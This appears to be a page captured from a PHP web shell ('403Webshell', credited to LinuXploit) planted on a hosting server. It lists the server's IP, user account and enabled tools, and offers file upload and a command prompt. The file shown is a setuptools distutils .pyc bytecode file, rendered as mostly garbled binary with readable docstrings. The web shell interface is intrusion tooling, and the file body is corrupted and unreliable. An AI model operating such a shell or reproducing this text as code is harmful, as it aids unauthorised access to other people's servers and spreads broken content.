403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/_distutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/_distutils/__pycache__/extension.cpython-313.pyc
�

�h�+��J�SrSSKJr SSKrSSKrSSKJr "SS5rSrg)zmdistutils.extension

Provides the Extension class, used to describe C/C++ extension
modules in setup scripts.�)�annotationsN)�Iterablec��\rSrSrSrSSSjjrSrSrg)	�	Extension�a�Just a collection of attributes that describes an extension
module and everything needed to build it (hopefully in a portable
way, but there are hooks that let you be as unportable as you need).

Instance attributes:
  name : string
    the full name of the extension, including any packages -- ie.
    *not* a filename or pathname, but Python dotted name
  sources : Iterable[string | os.PathLike]
    iterable of source filenames (except strings, which could be misinterpreted
    as a single filename), relative to the distribution root (where the setup
    script lives), in Unix form (slash-separated) for portability. Can be any
    non-string iterable (list, tuple, set, etc.) containing strings or
    PathLike objects. Source files may be C, C++, SWIG (.i), platform-specific
    resource files, or whatever else is recognized by the "build_ext" command
    as source for a Python extension.
  include_dirs : [string]
    list of directories to search for C/C++ header files (in Unix
    form for portability)
  define_macros : [(name : string, value : string|None)]
    list of macros to define; each macro is defined using a 2-tuple,
    where 'value' is either the string to define it to or None to
    define it without a particular value (equivalent of "#define
    FOO" in source or -DFOO on Unix C compiler command line)
  undef_macros : [string]
    list of macros to undefine explicitly
  library_dirs : [string]
    list of directories to search for C/C++ libraries at link time
  libraries : [string]
    list of library names (not filenames or paths) to link against
  runtime_library_dirs : [string]
    list of directories to search for C/C++ libraries at run time
    (for shared extensions, this is when the extension is loaded)
  extra_objects : [string]
    list of extra files to link with (eg. object files not implied
    by 'sources', static library that must be explicitly specified,
    binary resource files, etc.)
  extra_compile_args : [string]
    any extra platform- and compiler-specific information to use
    when compiling the source files in 'sources'.  For platforms and
    compilers where "command line" makes sense, this is typically a
    list of command-line arguments, but for other platforms it could
    be anything.
  extra_link_args : [string]
    any extra platform- and compiler-specific information to use
    when linking object files together to create the extension (or
    to create a new static Python interpreter).  Similar
    interpretation as for 'extra_compile_args'.
  export_symbols : [string]
    list of symbols to be exported from a shared extension.  Not
    used on all platforms, and not generally necessary for Python
    extensions, which typically export exactly one symbol: "init" +
    extension_name.
  swig_opts : [string]
    any extra options to pass to SWIG if a source file has the .i
    extension.
  depends : [string]
    list of files that the extension depends on
  language : string
    extension language (i.e. "c", "c++", "objc"). Will be detected
    from the source extensions if not provided.
  optional : boolean
    specifies that a build failure in the extension should not abort the
    build process, but simply not install the failing extension.
Nc�x�[U[5(d[S5e[U[5(a[S5e[[	[
RU55UlXlU=(d /Ul	U=(d /Ul
U=(d /UlU=(d /UlU=(d /Ul
U=(d /UlU	=(d /UlU
=(d /UlU=(d /UlU=(d /UlU
=(d /UlU=(d /UlX�lUUl[/U5S:�aQUVs/sHn[1U5PM nnSR3[5U55nSU3n[6R8"U5 gg![a [S5ef=fs snf)Nz'name' must be a stringzJ'sources' must be an iterable of strings or PathLike objects, not a stringz<'sources' must be an iterable of strings or PathLike objectsrz, zUnknown Extension options: )�
isinstance�str�	TypeError�list�map�os�fspath�sources�name�include_dirs�
define_macros�undef_macros�library_dirs�	libraries�runtime_library_dirs�
extra_objects�extra_compile_args�extra_link_args�export_symbols�	swig_opts�depends�language�optional�len�repr�join�sorted�warnings�warn)�selfrrrrrrrrrrrrrrrr�kw�option�options�msgs                     �A/usr/lib/python3/dist-packages/setuptools/_distutils/extension.py�__init__�Extension.__init__\sz��(�$��$�$��5�6�6��g�s�#�#��\��
�
	���B�I�I�w� 7�8�D�L��	�(�.�B���*�0�b���(�.�B���(�.�B���"��b���$8�$>�B��!�*�0�b���"4�":����.�4�"���,�2����"��b����}�"��� �
� ��
��r�7�Q�;�24�5�"��t�F�|�"�G�5��i�i��w��0�G�/��y�9�C��M�M�#��	��-�	��N��
�	��.6s�(F�F7�F4c
��SURRSURRSUR<S[	U5SS3	$)N�<�.�(z) at z#x�>)�	__class__�
__module__�__qualname__r�id)r&s r+�__repr__�Extension.__repr__�sJ���4�>�>�,�,�-�Q�t�~�~�/J�/J�.K�1�T�Y�Y�M�Y^�_a�bf�_g�hj�^k�kl�m�m�)rrrrrrrrrrrrrrrr)NNNNNNNNNNNNNN) rr
rz Iterable[str | os.PathLike[str]]r�list[str] | Nonerz#list[tuple[str, str | None]] | Nonerr:rr:rr:rr:rr:rr:rr:rr:rr:rr:rz
str | Nonerzbool | None)�__name__r4r5�__firstlineno__�__doc__r,r7�__static_attributes__�r9r+rrs���@�P*.�=A�)-�)-�&*�15�*.�/3�,0�+/�&*�$(�#� $�#:��:�2�:�'�	:�
;�:�'�
:�'�:�$�:�/�:�(�:�-�:�*�:�)�:�$�:�"�:� �!:�"�#:�xnr9rc	��SSKJnJnJn SSKJn SSKJn U"U5nU"USSSSSS9n/nUR5n	U	cGO�URU	5(aM.U	SU	Ss=:XaS	:XaO OURS
U	S35 M[U"X�5n	U"U	5n
U
Sn[U/5nSn
U
SSGHXnU
bU
RU5 Sn
M[RRU5SnUSS
nUS
SnUS;aUR RU5 MkUS:XaUR"RU5 M�US:Xa^UR%S5nUS:XaUR&RUS45 M�UR&RUSUUUS
-S45 M�US:XaUR(RU5 GMUS:XaUR*RU5 GM:US:XaUR,RU5 GM^US:XaUR.RU5 GM�US:XaUR0RU5 GM�US:XaUR0n
GM�US:XaUR2n
GM�US:XaUR*n
GM�US:Xa4UR2RU5 U(dUR2n
GMGMUS;aUR4RU5 GMCURSUS
35 GM[ URU5 GM�UR75 U$!UR75 f=f)z3Reads a Setup file and returns Extension instances.r)�_variable_rx�expand_makefile_vars�parse_makefile)�TextFile)�split_quotedT)�strip_comments�skip_blanks�
join_lines�	lstrip_ws�	rstrip_wsN����*�'z' lines not handled yet��)z.cz.ccz.cppz.cxxz.c++z.mz.mmz-Iz-D�=z-Uz-Cz-lz-Lz-Rz-rpathz-Xlinkerz
-Xcompilerz-u)z.az.soz.slz.oz.dylibzunrecognized argument ')�distutils.sysconfigrArBrC�distutils.text_filerD�distutils.utilrE�readline�matchr%r�appendr�path�splitextrr�findrrrrrrrr�close)�filenamerArBrCrDrE�vars�file�
extensions�line�words�module�ext�append_next_word�word�suffix�switch�value�equalss                   r+�read_setup_fileri�s��V�V�,�+��(�#�D��������
�D�Q��
���=�=�?�D��|���!�!�$�'�'���A�w�$�r�(�)�c�)��	�	�A�d�V�#:�;�<��'��3�D� ��&�E��1�X�F��F�B�'�C�#���a�b�	��#�/�$�+�+�D�1�'+�$�����)�)�$�/��2���a�����Q�R����O�O��K�K�&�&�t�,��t�^��$�$�+�+�E�2��t�^�"�Z�Z��_�F���|��)�)�0�0�%���?��)�)�0�0�%��&�/�5��RS���CV�1W�X��t�^��$�$�+�+�E�2��t�^��*�*�1�1�$�7��t�^��M�M�(�(��/��t�^��$�$�+�+�E�2��t�^��,�,�3�3�E�:��X�%�'*�'?�'?�$��Z�'�'*�':�':�$��\�)�'*�'=�'=�$��t�^��'�'�.�.�t�4� �+.�+>�+>�(�!��C�C�
�%�%�,�,�T�2��I�I� 7��v�Q�?�@�e"�h
���c�"�Y�\	
�
�
�����	
�
�
��s�K6L3�3M)	r=�
__future__rrr$�collections.abcrrrir?r9r+�<module>rls-���
#�	��$�Bn�Bn�Jfr9

Youez - 2016 - github.com/yon3zu
LinuXploit